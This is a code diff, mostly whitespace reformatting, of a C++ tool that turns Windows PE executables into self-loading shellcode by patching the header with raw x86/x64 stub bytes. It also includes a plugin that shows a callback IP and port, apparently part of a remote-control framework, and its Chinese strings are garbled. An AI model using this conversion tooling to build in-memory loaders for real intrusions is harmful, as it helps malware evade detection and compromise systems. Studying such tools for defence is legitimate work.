\param areaSize : The size of the memory block, in bytes. If this parameter is zero, the return value is true (bad pointer).
*/
bool is_bad_read_ptr(LPCVOID areaStart, SIZE_T areaSize);
/**
Verifies that the calling process has read access to the specified range of memory.
\param areaStart : A pointer to the first byte of the memory block
\param areaSize : The size of the memory block, in bytes. If this parameter is zero, the return value is true (bad pointer).
*/
bool is_bad_read_ptr(LPCVOID areaStart, SIZE_T areaSize);
};

View File

@@ -18,219 +18,218 @@
bool overwrite_hdr(BYTE *my_exe, size_t exe_size, DWORD raw, bool is64b)
{
const size_t value_pos = 8;
size_t redir_size = 0;
BYTE* redir_code = nullptr;
const size_t value_pos = 8;
size_t redir_size = 0;
BYTE* redir_code = nullptr;
BYTE redir_code32_64[] = "\x4D" //dec ebp
"\x5A" //pop edx
"\x45" //inc ebp
"\x52" //push edx
"\xE8\x00\x00\x00\x00" //call <next_line>
"\x5B" // pop ebx
"\x48\x83\xEB\x09" // sub ebx,9
"\x53" // push ebx (Image Base)
"\x48\x81\xC3" // add ebx,
"\x59\x04\x00\x00" // value
"\xFF\xD3" // call ebx
"\xc3"; // ret
BYTE redir_code32_64[] = "\x4D" //dec ebp
"\x5A" //pop edx
"\x45" //inc ebp
"\x52" //push edx
"\xE8\x00\x00\x00\x00" //call <next_line>
"\x5B" // pop ebx
"\x48\x83\xEB\x09" // sub ebx,9
"\x53" // push ebx (Image Base)
"\x48\x81\xC3" // add ebx,
"\x59\x04\x00\x00" // value
"\xFF\xD3" // call ebx
"\xc3"; // ret
BYTE redir_code32[] = "\x4D" //dec ebp
"\x5A" //pop edx
"\x45" //inc ebp
"\x52" //push edx
"\xE8\x00\x00\x00\x00" //call <next_line>
"\x58" // pop eax
"\x83\xE8\x09" // sub eax,9
"\x50" // push eax (Image Base)
"\x05" // add eax,
"\x59\x04\x00\x00" // value
"\xFF\xD0" // call eax
"\xc3"; // ret
BYTE redir_code32[] = "\x4D" //dec ebp
"\x5A" //pop edx
"\x45" //inc ebp
"\x52" //push edx
"\xE8\x00\x00\x00\x00" //call <next_line>
"\x58" // pop eax
"\x83\xE8\x09" // sub eax,9
"\x50" // push eax (Image Base)
"\x05" // add eax,
"\x59\x04\x00\x00" // value
"\xFF\xD0" // call eax
"\xc3"; // ret
BYTE redir_code64[] = "\x4D\x5A" //pop r10
"\x45\x52" //push r10
"\xE8\x00\x00\x00\x00" //call <next_line>
"\x59" // pop rcx
"\x48\x83\xE9\x09" // sub rcx,9 (rcx -> Image Base)
"\x48\x8B\xC1" // mov rax,rcx
"\x48\x05" // add eax,
"\x59\x04\x00\x00" // value
"\xFF\xD0" // call eax
"\xc3"; // ret
BYTE redir_code64[] = "\x4D\x5A" //pop r10
"\x45\x52" //push r10
"\xE8\x00\x00\x00\x00" //call <next_line>
"\x59" // pop rcx
"\x48\x83\xE9\x09" // sub rcx,9 (rcx -> Image Base)
"\x48\x8B\xC1" // mov rax,rcx
"\x48\x05" // add eax,
"\x59\x04\x00\x00" // value
"\xFF\xD0" // call eax
"\xc3"; // ret
#ifdef OLD_LOADER
redir_code = redir_code32_64;
redir_size = sizeof(redir_code32_64);
redir_code = redir_code32_64;
redir_size = sizeof(redir_code32_64);
#else
redir_code = redir_code32;
redir_size = sizeof(redir_code32);
redir_code = redir_code32;
redir_size = sizeof(redir_code32);
if (is64b) {
redir_code = redir_code64;
redir_size = sizeof(redir_code64);
}
if (is64b) {
redir_code = redir_code64;
redir_size = sizeof(redir_code64);
}
#endif
if (!redir_code) return false;
if (redir_size > MAX_REDIR_SIZE) {
std::cerr << "The selected redir stub exceed the maximal size: " << std::dec << MAX_REDIR_SIZE << "\n";
return false;
}
size_t offset = redir_size - value_pos;
memcpy(redir_code + offset, &raw, sizeof(DWORD));
if (!redir_code) return false;
if (redir_size > MAX_REDIR_SIZE) {
std::cerr << "The selected redir stub exceed the maximal size: " << std::dec << MAX_REDIR_SIZE << "\n";
return false;
}
size_t offset = redir_size - value_pos;
memcpy(redir_code + offset, &raw, sizeof(DWORD));
min_hdr_t* my_hdr = (min_hdr_t*)my_exe;
memcpy(my_hdr->redir, redir_code, redir_size);
my_hdr->load_status = LDS_CLEAN;
return true;
min_hdr_t* my_hdr = (min_hdr_t*)my_exe;
memcpy(my_hdr->redir, redir_code, redir_size);
my_hdr->load_status = LDS_CLEAN;
return true;
}
BYTE* shellcodify(BYTE *my_exe, size_t exe_size, size_t &out_size, bool is64b)
{
out_size = 0;
size_t stub_size = 0;
int res_id = is64b ? STUB64 : STUB32;
BYTE *stub = peconv::load_resource_data(stub_size, res_id);
if (!stub) {
std::cerr << "[ERROR] Stub not loaded" << std::endl;
return nullptr;
}
size_t ext_size = exe_size + stub_size;
BYTE *ext_buf = peconv::alloc_aligned(ext_size, PAGE_READWRITE);
if (!ext_buf) {
return nullptr;
}
memcpy(ext_buf, my_exe, exe_size);
memcpy(ext_buf + exe_size, stub, stub_size);
out_size = 0;
size_t stub_size = 0;
int res_id = is64b ? STUB64 : STUB32;
BYTE *stub = peconv::load_resource_data(stub_size, res_id);
if (!stub) {
std::cerr << "[ERROR] Stub not loaded" << std::endl;
return nullptr;
}
size_t ext_size = exe_size + stub_size;
BYTE *ext_buf = peconv::alloc_aligned(ext_size, PAGE_READWRITE);
if (!ext_buf) {
return nullptr;
}
memcpy(ext_buf, my_exe, exe_size);
memcpy(ext_buf + exe_size, stub, stub_size);
DWORD raw_addr = exe_size;
overwrite_hdr(ext_buf, ext_size, raw_addr, is64b);
DWORD raw_addr = exe_size;
overwrite_hdr(ext_buf, ext_size, raw_addr, is64b);
out_size = ext_size;
return ext_buf;
out_size = ext_size;
return ext_buf;
}
template <typename IMAGE_TLS_DIRECTORY>
bool has_tls_callbacks(BYTE *my_exe, size_t exe_size)
{
IMAGE_DATA_DIRECTORY* tls_dir = peconv::get_directory_entry(my_exe, IMAGE_DIRECTORY_ENTRY_TLS);
if (!tls_dir) return false;
IMAGE_DATA_DIRECTORY* tls_dir = peconv::get_directory_entry(my_exe, IMAGE_DIRECTORY_ENTRY_TLS);
if (!tls_dir) return false;
IMAGE_TLS_DIRECTORY* tls = peconv::get_type_directory<IMAGE_TLS_DIRECTORY>((HMODULE)my_exe, IMAGE_DIRECTORY_ENTRY_TLS);
if (!tls) return false;
IMAGE_TLS_DIRECTORY* tls = peconv::get_type_directory<IMAGE_TLS_DIRECTORY>((HMODULE)my_exe, IMAGE_DIRECTORY_ENTRY_TLS);
if (!tls) return false;
ULONGLONG base = peconv::get_image_base(my_exe);
ULONGLONG callback_rva = tls->AddressOfCallBacks;
if (callback_rva > base) {
callback_rva -= base;
}
if (!peconv::validate_ptr(my_exe, exe_size, my_exe + callback_rva, sizeof(ULONGLONG))) {
return false;
}
ULONGLONG *callback_addr = (ULONGLONG *)(my_exe + callback_rva);
if (callback_addr == 0) {
return false;
}
if (*callback_addr == 0) {
return false;
}
return true;
ULONGLONG base = peconv::get_image_base(my_exe);
ULONGLONG callback_rva = tls->AddressOfCallBacks;
if (callback_rva > base) {
callback_rva -= base;
}
if (!peconv::validate_ptr(my_exe, exe_size, my_exe + callback_rva, sizeof(ULONGLONG))) {
return false;
}
ULONGLONG *callback_addr = (ULONGLONG *)(my_exe + callback_rva);
if (callback_addr == 0) {
return false;
}
if (*callback_addr == 0) {
return false;
}
return true;
}
bool is_supported_pe(BYTE *my_exe, size_t exe_size)
{
if (!my_exe) return false;
if (!peconv::has_relocations(my_exe)) {
std::cerr << "[ERROR] The PE must have relocations!" << std::endl;
return false;
}
if (peconv::get_subsystem(my_exe) != IMAGE_SUBSYSTEM_WINDOWS_GUI) {
std::cout << "[INFO] This is a console application." << std::endl;
}
IMAGE_DATA_DIRECTORY* dotnet_dir = peconv::get_directory_entry(my_exe, IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR);
if (dotnet_dir) {
std::cerr << "[ERROR] .NET applications are not supported!" << std::endl;
return false;
}
IMAGE_DATA_DIRECTORY* tls_dir = peconv::get_directory_entry(my_exe, IMAGE_DIRECTORY_ENTRY_TLS);
if (tls_dir) {
bool has_callback = false;
if (!peconv::is64bit(my_exe)) {
if (has_tls_callbacks<IMAGE_TLS_DIRECTORY32>(my_exe, exe_size)) {
has_callback = true;
}
}
else {
if (has_tls_callbacks<IMAGE_TLS_DIRECTORY64>(my_exe, exe_size)) {
has_callback = true;
}
}
if (has_callback) {
std::cout << "[INFO] This application has TLS callbacks." << std::endl;
}
}
return true;
if (!my_exe) return false;
if (!peconv::has_relocations(my_exe)) {
std::cerr << "[ERROR] The PE must have relocations!" << std::endl;
return false;
}
if (peconv::get_subsystem(my_exe) != IMAGE_SUBSYSTEM_WINDOWS_GUI) {
std::cout << "[INFO] This is a console application." << std::endl;
}
IMAGE_DATA_DIRECTORY* dotnet_dir = peconv::get_directory_entry(my_exe, IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR);
if (dotnet_dir) {
std::cerr << "[ERROR] .NET applications are not supported!" << std::endl;
return false;
}
IMAGE_DATA_DIRECTORY* tls_dir = peconv::get_directory_entry(my_exe, IMAGE_DIRECTORY_ENTRY_TLS);
if (tls_dir) {
bool has_callback = false;
if (!peconv::is64bit(my_exe)) {
if (has_tls_callbacks<IMAGE_TLS_DIRECTORY32>(my_exe, exe_size)) {
has_callback = true;
}
} else {
if (has_tls_callbacks<IMAGE_TLS_DIRECTORY64>(my_exe, exe_size)) {
has_callback = true;
}
}
if (has_callback) {
std::cout << "[INFO] This application has TLS callbacks." << std::endl;
}
}
return true;
}
bool is_supported_pe(const std::string &in_path)
{
std::cout << "Reading module from: " << in_path << std::endl;
size_t exe_size = 0;
BYTE *my_exe = peconv::load_pe_module(in_path.c_str(), exe_size, false, false);
if (!my_exe) {
std::cerr << "[ERROR] Could not read the input file!" << std::endl;
return false;
}
std::cout << "Reading module from: " << in_path << std::endl;
size_t exe_size = 0;
BYTE *my_exe = peconv::load_pe_module(in_path.c_str(), exe_size, false, false);
if (!my_exe) {
std::cerr << "[ERROR] Could not read the input file!" << std::endl;
return false;
}
bool is_ok = is_supported_pe(my_exe, exe_size);
peconv::free_pe_buffer(my_exe);
bool is_ok = is_supported_pe(my_exe, exe_size);
peconv::free_pe_buffer(my_exe);
if (!is_ok) {
std::cerr << "[ERROR] Not supported input file!" << std::endl;
return false;
}
return true;
if (!is_ok) {
std::cerr << "[ERROR] Not supported input file!" << std::endl;
return false;
}
return true;
}
int pe_2_shellcode(const std::string &in_path, const std::string &out_str)
{
if (!is_supported_pe(in_path)) {
return -2;
}
if (!is_supported_pe(in_path)) {
return -2;
}
size_t exe_size = 0;
BYTE *my_exe = peconv::load_pe_module(in_path.c_str(), exe_size, false, false);
if (!my_exe) {
std::cout << "[-] Could not read the input file!" << std::endl;
return -1;
}
size_t exe_size = 0;
BYTE *my_exe = peconv::load_pe_module(in_path.c_str(), exe_size, false, false);
if (!my_exe) {
std::cout << "[-] Could not read the input file!" << std::endl;
return -1;
}
bool is64b = peconv::is64bit(my_exe);
size_t ext_size = 0;
BYTE *ext_buf = shellcodify(my_exe, exe_size, ext_size, is64b);
if (!ext_buf) {
std::cerr << "[ERROR] Adding the stub failed!" << std::endl;
peconv::free_pe_buffer(my_exe);
return -3;
}
// remap pe to raw == virtual, so that remapping on load will not be required
peconv::t_pe_dump_mode dump_mode = peconv::PE_DUMP_REALIGN;
ULONGLONG current_base = peconv::get_image_base(ext_buf);
if (peconv::dump_pe(out_str.c_str(), ext_buf, ext_size, current_base, dump_mode)) {
std::cout << "[INFO] Saved as: " << out_str << std::endl;
}
else {
std::cerr << "[ERROR] Failed to save the output!" << std::endl;
}
peconv::free_pe_buffer(my_exe);
peconv::free_aligned(ext_buf);
return 0;
bool is64b = peconv::is64bit(my_exe);
size_t ext_size = 0;
BYTE *ext_buf = shellcodify(my_exe, exe_size, ext_size, is64b);
if (!ext_buf) {
std::cerr << "[ERROR] Adding the stub failed!" << std::endl;
peconv::free_pe_buffer(my_exe);
return -3;
}
// remap pe to raw == virtual, so that remapping on load will not be required
peconv::t_pe_dump_mode dump_mode = peconv::PE_DUMP_REALIGN;
ULONGLONG current_base = peconv::get_image_base(ext_buf);
if (peconv::dump_pe(out_str.c_str(), ext_buf, ext_size, current_base, dump_mode)) {
std::cout << "[INFO] Saved as: " << out_str << std::endl;
} else {
std::cerr << "[ERROR] Failed to save the output!" << std::endl;
}
peconv::free_pe_buffer(my_exe);
peconv::free_aligned(ext_buf);
return 0;
}
#else
int pe_2_shellcode(const std::string& in_path, const std::string& out_str) {
return -1; // Don't support x86 master program
int pe_2_shellcode(const std::string& in_path, const std::string& out_str)
{
return -1; // Don't support x86 master program
}
#endif

View File

@@ -9,6 +9,6 @@
#define LDS_ATTACHED 3
typedef struct _min_hdr {
BYTE redir[MAX_REDIR_SIZE];
BYTE load_status;
BYTE redir[MAX_REDIR_SIZE];
BYTE load_status;
} min_hdr_t;

Binary file not shown.

View File

@@ -4,11 +4,11 @@
extern "C" __declspec(dllexport) DWORD WINAPI run(LPVOID param)
{
PluginParam* p = reinterpret_cast<PluginParam*>(param);
PluginParam* p = reinterpret_cast<PluginParam*>(param);
char buf[200] = {};
sprintf(buf, "<EFBFBD><EFBFBD><EFBFBD>ص<EFBFBD>ַ: %s:%d", p->IP, p->Port);
MessageBoxA(NULL, buf, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ", MB_OK | MB_ICONINFORMATION);
char buf[200] = {};
sprintf(buf, "<EFBFBD><EFBFBD><EFBFBD>ص<EFBFBD>ַ: %s:%d", p->IP, p->Port);
MessageBoxA(NULL, buf, "<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ", MB_OK | MB_ICONINFORMATION);
return 0;
return 0;
}

View File

@@ -56,6 +56,7 @@
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<DisableSpecificWarnings>4018;4244;4267;4819</DisableSpecificWarnings>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
@@ -72,6 +73,7 @@
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<DisableSpecificWarnings>4018;4244;4267;4819</DisableSpecificWarnings>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>